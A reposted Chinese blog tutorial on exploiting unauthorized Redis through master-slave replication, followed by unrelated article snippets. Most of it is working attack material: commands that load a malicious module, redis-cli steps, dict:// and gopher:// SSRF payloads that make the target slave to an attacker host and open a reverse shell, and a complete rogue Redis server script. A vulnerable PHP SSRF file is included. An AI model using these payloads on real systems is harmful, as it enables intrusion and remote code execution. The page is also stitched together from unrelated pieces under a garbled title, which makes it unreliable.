完全复制一个dict_Redis主从复制getshell技巧

Redis未授权漏洞常见的漏洞利用方式:

  • Windows下,绝对路径写webshell 、写入启动项。

  • Linux下,绝对路径写webshell 、公私钥认证获取root权限  、利用contrab计划任务反弹shell。

基于Redis主从复制的机制,可以完美无损的将文件同步到从节点。这就使得它可以轻易实现以上任何一种漏洞利用方式,而且存在着更多的可能性等待被探索。


一、Redis 主从复制一键自动化RCE

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

通过脚本实现一键自动化getshell:

1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommandcd RedisModules-ExecuteCommand/make

2、攻击端执行:python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

git clone https://github.com/Ridter/redis-rce.gitcd redis-rce/cp ../RedisModules-ExecuteCommand/src/module.so ./pip install -r requirements.txt python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

二、Redis主从复制利用原理

首先,我们通过一个简单的测试,来熟悉一下slave和master的握手协议过程:

1、监听本地1234端口

nc -lvvp 1234

2、将Redis服务器设置为从节点(slave)

slaveof 127.0.0.1 1234

3、使用nc模拟Redis主服务器,进行模拟Redis主从交互过程(红色部分为slave发送的命令):

bb863e438a984dc27403483e1246fb7b.png

以上,通过nc进行模拟Redis主从复制的交互过程,同理,如果构建模拟一个Redis服务器,利用Redis主从复制的机制,那么就可以通过FULLRESYNC将任意文件同步到从节点。

三、Redis主从复制手动挡

手动操作过程记录:

1、编写脚本,构造恶意Redis服务器,监听本地端口1234,加载exp.so。

python RogueServer.py --lport 1234 --exp exp.so

a1df33be78643d72f02ee151f4964194.png

2、通过未授权访问连入要攻击的redis服务器。

执行相关命令:

#设置redis的备份路径为当前目录    config set dir ./#设置备份文件名为exp.so,默认为dump.rdb    config set dbfilename exp.so#设置主服务器IP和端口    slaveof 192.168.172.129 1234  #加载恶意模块    module load ./exp.so#切断主从,关闭复制功能    slaveof no one #执行系统命令    system.exec 'whoami'    system.rev 127.0.0.1 9999    #通过dump.rdb文件恢复数据    config set dbfilename dump.rdb#删除exp.so    system.exec 'rm ./exp.so'#卸载system模块的加载    module unload system

成功执行系统命令:

db5e2b380f9a7208b02725ed05036987.png

四、SSRF+Redis 反弹shell

参照Redis手动getshell的过程,可轻易实现SSRF+Redis反弹shell。

以curl为例,漏洞代码为ssrf.php:

<?php $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_GET['url']);#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_HEADER, 0);#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);curl_exec($ch);curl_close($ch);?>

环境准备:

  • 模拟内网未授权Redis服务器:192.168.172.131

  • 模拟攻击者机器:192.168.172.129,在攻击者机器上构建恶意Redis服务器,同时监听本地9999端口等待shell返回。

1、利用dict协议反弹shell

#查看当前redis的相关配置ssrf.php?url=dict://192.168.172.131:6379/info#设置备份文件名ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so#连接恶意Redis服务器ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234#加载恶意模块ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so#切断主从复制ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one#执行系统命令 ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

2、利用gopher协议反弹shell

#设置文件名,连接恶意Redis服务器ssrf.php?url=gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit#加载exp.so,反弹shellssrf.php?url=gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

3、利用这两种协议,都可以成功反弹shell。

b1c02bfefdedfa6551d5cb690989ada1.png

附:简单改写的模拟Redis服务端脚本

import socketfrom time import sleepfrom optparse import OptionParserdef RogueServer(lport):    resp = ""    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.bind(("0.0.0.0",lport))    sock.listen(10)    conn,address = sock.accept()      sleep(5)    while True:            data = conn.recv(1024)        if "PING" in data:            resp="+PONG"+CLRF            conn.send(resp)        elif "REPLCONF" in data:            resp="+OK"+CLRF            conn.send(resp)        elif "PSYNC" in data or "SYNC" in data:            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF            resp += "$" + str(len(payload)) + CLRF            resp = resp.encode()            resp += payload + CLRF.encode()            if type(resp) != bytes:                resp =resp.encode()                        conn.send(resp)            #elif "exit" in data:            breakif __name__=="__main__":    parser = OptionParser()                         parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")            parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")    (options , args )= parser.parse_args()    lport = options.lp    exp_filename = options.exp    CLRF="\r\n"    payload=open(exp_filename,"rb").read()    print "Start listing on port: %s" %lport    print "Load the payload:   %s" %exp_filename         RogueServer(lport)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/336620.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于select中fd_set变量的一些通俗宏解释

FD_ZERO(fd_set*fdset) 将fd_set变量的所有位初始化为0&#xff1b; FD_SET(int fd,fd_set*fdset) 在参数fdset指向的变量中注册文件描述符fd的信息 FD_CLR(int fd,fd_set*fdset) 在参数fdset指向的变量中清除文件描述符fd的信息 FD_ISSET(int fd,fd_set*fds…

pcl_openmap_OpenMap教程3 –使用MapHandler构建基本的地图应用程序–第2部分

pcl_openmap1.简介 在上一教程中&#xff0c;我们了解了MapHandler如何将各种组件连接在一起&#xff08;更具体地说&#xff0c;是从MapHandlerChild派生的类&#xff09;。 我们看到了如何以编程方式执行此操作&#xff0c;但是还有另一种声明性地使用openmap.properties 。 …

文件服务器缓存加速,存储缓存为文件传输提速

存储缓存为文件传输提速本文首次刊登于《网络世界》。著作权&复制权属于《网络世界》。保留所有权利。 一种新型产品实现了WAN上的文件缓存&#xff0c;使以LAN速度长距离存取数据成为可能。存储缓存设备消除了通常困扰远程文件共享的延迟难题。 在当前的办公室环境…

xy轴坐标图数字表示_【相机标定】四个坐标系之间的变换关系

点击上方“新机器视觉”&#xff0c;选择加"星标"或“置顶”重磅干货&#xff0c;第一时间送达世界坐标系&#xff0c;相机坐标系&#xff0c;图像物理坐标系&#xff0c;像素坐标系之间的关系&#xff1a;首先看下几个坐标系在放在一块的样子&#xff1a;1&#xff…

完全二叉树基本操作(不含遍历)

/*准备数据*/#define MANLEN 20 //最大长度 typedef char DATA; //定义元素类型 typedef struct CBT //定义二叉树结点类型 {DATA data; //元素数据struct CBT* left; //左子树结点指针struct CBT* r…

1.0jpa 2.0_Java EE 7之前版本替代JPA 2.1非同步持久性上下文

1.0jpa 2.0Java EE 7中的非同步持久性上下文 JPA 2.1引入了非同步持久性上下文的概念&#xff0c;该概念允许对JPA实体管理器的刷新进行细粒度控制&#xff0c;即通过显式调用EntityManager&#xff03;joinTransaction 。 以前&#xff0c;这默认情况下是JTA事务的结束&#x…

算法:删除顺序表中重复的元素

//删除数组中重复的元素 //思路&#xff1a;通过起始位置的元素&#xff0c;逐个和后面的元素进行比较&#xff0c;找到相同的元素后执行删除操作。没有发现执行第二次循环void purge(int a[], int len) {int i 0, j;while (i<len) //从数组开始第一个位置开始循环{j …

设计模式的Java 8 Lambda表达式-策略设计模式

策略模式定义封装在通常称为Context的驱动程序类中的一系列算法&#xff0c;并使这些算法可互换。 它使算法易于互换&#xff0c;并提供了在特定时间选择适当算法的机制。 算法&#xff08;策略&#xff09;在运行时由客户端或上下文选择。 在与客户端交互期间&#xff0c;Con…

调用打印机_涨知识|你不知道的关于打印机的打印过程和打印机驱动的那些事...

以前一直以为打印很简单&#xff0c;不就是编辑好文件按个“打印”就行了&#xff1f;但其实打印过程可以复杂到你分分钟“怀疑人生”。你以为的打印过程可能是这样的 ↓。我们看到的打印过程然而&#xff0c;真正的打印过程是这样的 ↓。实际上的打印过程打印机打印一页文件或…

String大小转换函数

transform(s1.begin(), s1.end(), s1.begin(), toupper); 小写变大写transform(s1.begin(), s1.end(), s1.begin(), tolower); 大写变小写

kite 使用 go_使用Apache Storm和Kite SDK Morphlines的可配置ETL处理

kite 使用 go从我担任软件工程师的第一天起&#xff0c;我总是听到很多方面的相同要求&#xff1a; “ 我们希望所有内容都可配置&#xff0c;我们希望在运行时更改所有内容&#xff0c;我们希望有一个可视化工具来应用所有这些逻辑&#xff0c;以便非开发人员使用和配置我们的…

使用react实现select_使用 Hooks 优化 React 组件

奇技指南本文内容主要是我之前分享的文字版&#xff0c;若想看重点的话可以看之前的Slide: https://ppt.baomitu.com/d/75fc979a本文作者奇舞团前端开发工程师李喆明。需求描述由于作者所在的业务是资讯内容类业务&#xff0c;因而在业务中会经常碰到如下场景&#xff1a;有一个…

Windows内存修改初篇

​ #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <windows.h>BOOL FindFirst(DWORD dwValue);//对目标进程空间进行查找 BOOL FindNext(DWORD dwValue);//对目标空间进行2&#xff0c;3&#xff0c;4。。查找//查找数据的地址列表 DWORD g_arList…

斐波那契实现阶乘js_功能与命令式编程。 Java 8中的斐波那契,素数和阶乘

斐波那契实现阶乘js有多种编程风格/范例&#xff0c;但是两个著名的风格是Imperative和Functional 。 命令式编程是最主要的范例&#xff0c;因为几乎所有主流语言&#xff08;C &#xff0c;Java&#xff0c;C&#xff03;&#xff09;都在推广它。 但是在最近几年中&#xf…

cacti不能实时刷新流量图_介绍一种编码帧内刷新算法

0.引言本文主要介绍一种帧内刷新算法&#xff0c;解决I帧太大带来的延迟问题&#xff0c;可以在调优时&#xff0c;值得借鉴。帧内刷新技术避免 I 帧尖峰带来的带宽压力&#xff0c;可以有效地降低视频通信中的缓冲区延迟。帧内刷新算法是一种视频错误恢复的方法&#xff0c;通…

python kotlin_Java和Python中类似Kotlin的生成器,续:附加参数

python kotlin介绍 在今天的文章中&#xff0c;我们将继续上周的文章&#xff0c;内容涉及使用Java和Python创建类似Kotlin的构建器&#xff0c;并扩展了构建器API以采用一些可选参数以提高灵活性。 我们继续我们HTML示例&#xff0c;尝试添加标记属性&#xff0c;例如class&am…

按钮自动居中布局_CSS布局技巧

css实现左右布局和居中布局显示是前端进行页面设计的基础&#xff0c;也是全面了解并学习css一个很好的切入点&#xff0c;因为其中会涉及到对许多css基础点的认知。实现css入门&#xff0c;理解左右布局的实现方式是必经之路&#xff0c;同时也能使我们在项目中涉及前端编码的…

jooq_jOOQ星期二:拉斐尔·温特豪德(Rafael Winterhalter)正在与字节好友合作字节码...

jooq欢迎来到jOOQ Tuesdays系列。 在本系列文章中&#xff0c;我们每隔一个月的第三个星期二发布一篇文章&#xff0c;从jOOQ的角度采访我们发现该行业令人兴奋的人。 这包括从事SQL&#xff0c;Java&#xff0c;开放源代码以及各种其他相关主题的人员。 我们很高兴在第七版中…

多方法接口回调_啊?Java反射遇到接口

本文适合有点Java反射基础的同学&#xff0c;在Java反射调用方法时遇到接口参数是一件很蛋疼的事情。在反射调用方法时需要传参数&#xff0c;像传递基本数据类型进去用就完事&#xff0c;传个对象进去怎么整都没关系&#xff0c;因为你在外部有对象的引用&#xff0c;但 如果需…

0与1世界的初级编程篇之C语言

C语言是一门面向过程的计算机编程语言&#xff0c;与C、Java等面向对象编程语言有所不同。C语言的设计目标是提供一种能以简易的方式编译、处理低级存储器、仅产生少量的机器码以及不需要任何运行环境支持便能运行的编程语言。C语言描述问题比汇编语言迅速&#xff0c;工作量小…